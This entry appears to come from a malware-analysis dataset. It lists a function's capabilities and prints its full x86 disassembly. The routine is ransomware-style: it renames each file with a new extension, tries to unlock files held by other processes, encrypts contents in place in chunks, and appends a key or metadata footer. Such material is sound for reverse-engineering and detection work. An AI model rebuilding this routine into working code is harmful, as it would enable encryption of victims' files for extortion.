Function at 0x402420
Capabilities:
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x29f4
call fcn.0040ed80
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
push str.Start_encrypt_file:__ws_n
call fcn.00405fb0
push 0x830
xor esi, esi
lea eax, [ebp - 0x970]
push esi
push eax
call fcn.0040f640
movzx ecx, word [edi]
add esp, 0x14
test cx, cx
je 0x402475
xor eax, eax
nop
inc esi
mov word [ebp + eax - 0x970], cx
lea eax, [esi + esi]
movzx ecx, word [eax + edi]
test cx, cx
jne 0x402460
call fcn.00407610
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov ebx, dword [eax + 4]
mov dword [ebp + 8], ebx
cmp dword [ebp + 0x10], ecx
je 0x4024f9
mov eax, 0x2e
mov word [ebp + esi*2 - 0x970], ax
inc esi
mov eax, dword [ebx + 0x3d0]
mov al, byte [eax]
test al, al
je 0x4024c9
lea edx, [ebp - 0x970]
lea edx, [edx + esi*2]
nop dword [eax]
cbw
lea ecx, [ecx + 1]
lea edx, [edx + 2]
mov word [edx - 2], ax
mov eax, dword [ebx + 0x3d0]
mov al, byte [ecx + eax]
test al, al
jne 0x4024b0
lea eax, [ebp - 0x970]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4024f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.____MoveFileW__ws__error__code:__d_n
call fcn.00406020
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x970]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x2c], ebx
cmp ebx, 0xffffffff
jne 0x40257d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x402550
cmp eax, 0x21
je 0x402550
push eax
lea eax, [ebp - 0x970]
push eax
push str.____CreateFileW__ws__error__code:__d_n
call fcn.00406020
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x10], 0
je 0x402574
push edi
push str.____File__ws_is_locked_by_another_process._Try_unlock_n
call fcn.00406020
lea eax, [ebp - 0x970]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.004028c0
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push ebx
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x4025be
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____GetFileSizeEx__ws__error__code__d_n
call fcn.00406020
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov eax, dword [eax + 0x3064]
cdq
push edx
push eax
call fcn.0040ec10
push 0
push 0x64
push edx
push eax
call fcn.0040eb60
push 0
push 0x40
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.0040ec50
mov ecx, eax
or ecx, edx
je 0x402607
mov ecx, 0x40
sub ecx, eax
mov eax, 0
sbb eax, edx
add esi, ecx
adc edi, eax
test edi, edi
jg 0x402630
jl 0x402615
cmp esi, 0x500000
jae 0x402630
mov eax, dword [ebp - 0xc]
xor edi, edi
mov esi, 0x500000
test eax, eax
jg 0x402630
mov ecx, dword [ebp - 0x10]
jl 0x40262c
cmp ecx, esi
jae 0x402630
mov esi, ecx
mov edi, eax
push 0
push 0xa00000
push edi
push esi
call fcn.0040eb60
mov dword [ebp - 0x18], eax
imul eax, eax, 0xa00000
push 0
push 0x40
cdq
sub esi, eax
mov dword [ebp - 8], esi
sbb edi, edx
mov dword [ebp + 0x10], esi
push edi
push esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
call fcn.0040ec50
mov ecx, eax
or ecx, edx
je 0x40267b
sub esi, eax
mov eax, edi
sbb eax, edx
add esi, 0x40
mov dword [ebp + 0x10], esi
adc eax, 0
mov dword [ebp - 0x1c], eax
push 0xa00000
call fcn.00406220
mov ecx, dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x140]
add ecx, 0x1540
push eax
push edi
push dword [ebp + 0xc]
push ecx
call fcn.00401f40
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.00403f90
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x20
cmp dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
jle 0x40274c
push 0
lea ecx, [ebp - 4]
push ecx
push 0xa00000
push edi
push ebx
call eax
test eax, eax
je 0x402884
xor esi, esi
nop dword [eax]
lea eax, [esi + edi]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.00402ec0
add esi, 0x40
add esp, 8
cmp esi, 0xa00000
jl 0x4026f0
push 1
push 0
push 0xffffffffffffffff
push 0xff600000
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push 0xa00000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40286f
mov esi, dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, dword [ebp - 0x18]
jl 0x4026d0
push 0
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 8]
push edi
push ebx
call eax
test eax, eax
je 0x402884
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x40278d
mov ebx, dword [ebp + 0x10]
nop dword [eax + eax]
lea eax, [esi + edi]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.00402ec0
add esi, 0x40
add esp, 8
cmp esi, ebx
jl 0x402770
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
neg ecx
push 1
adc eax, 0
push 0
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40286f
sub esi, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
sbb eax, dword [ebp - 0x20]
mov dword [ebp - 0x100], esi
mov dword [ebp - 0xfc], eax
call fcn.00406f70
mov dword [ebp - 0xf8], eax
call fcn.00406f70
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xf4], eax
mov eax, dword [ecx + 0x3064]
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x30], 0xf5
push eax
mov eax, dword [ebp - 0x24]
add eax, 0x28
push eax
push ecx
call fcn.00406380
add esp, 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
push 2
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push 0x100
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40286f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004062b0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____WriteFile__ws__error__code__d_n
jmp 0x402897
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____ReadFile__ws__error__code__d_n
call fcn.00406020
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004062b0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret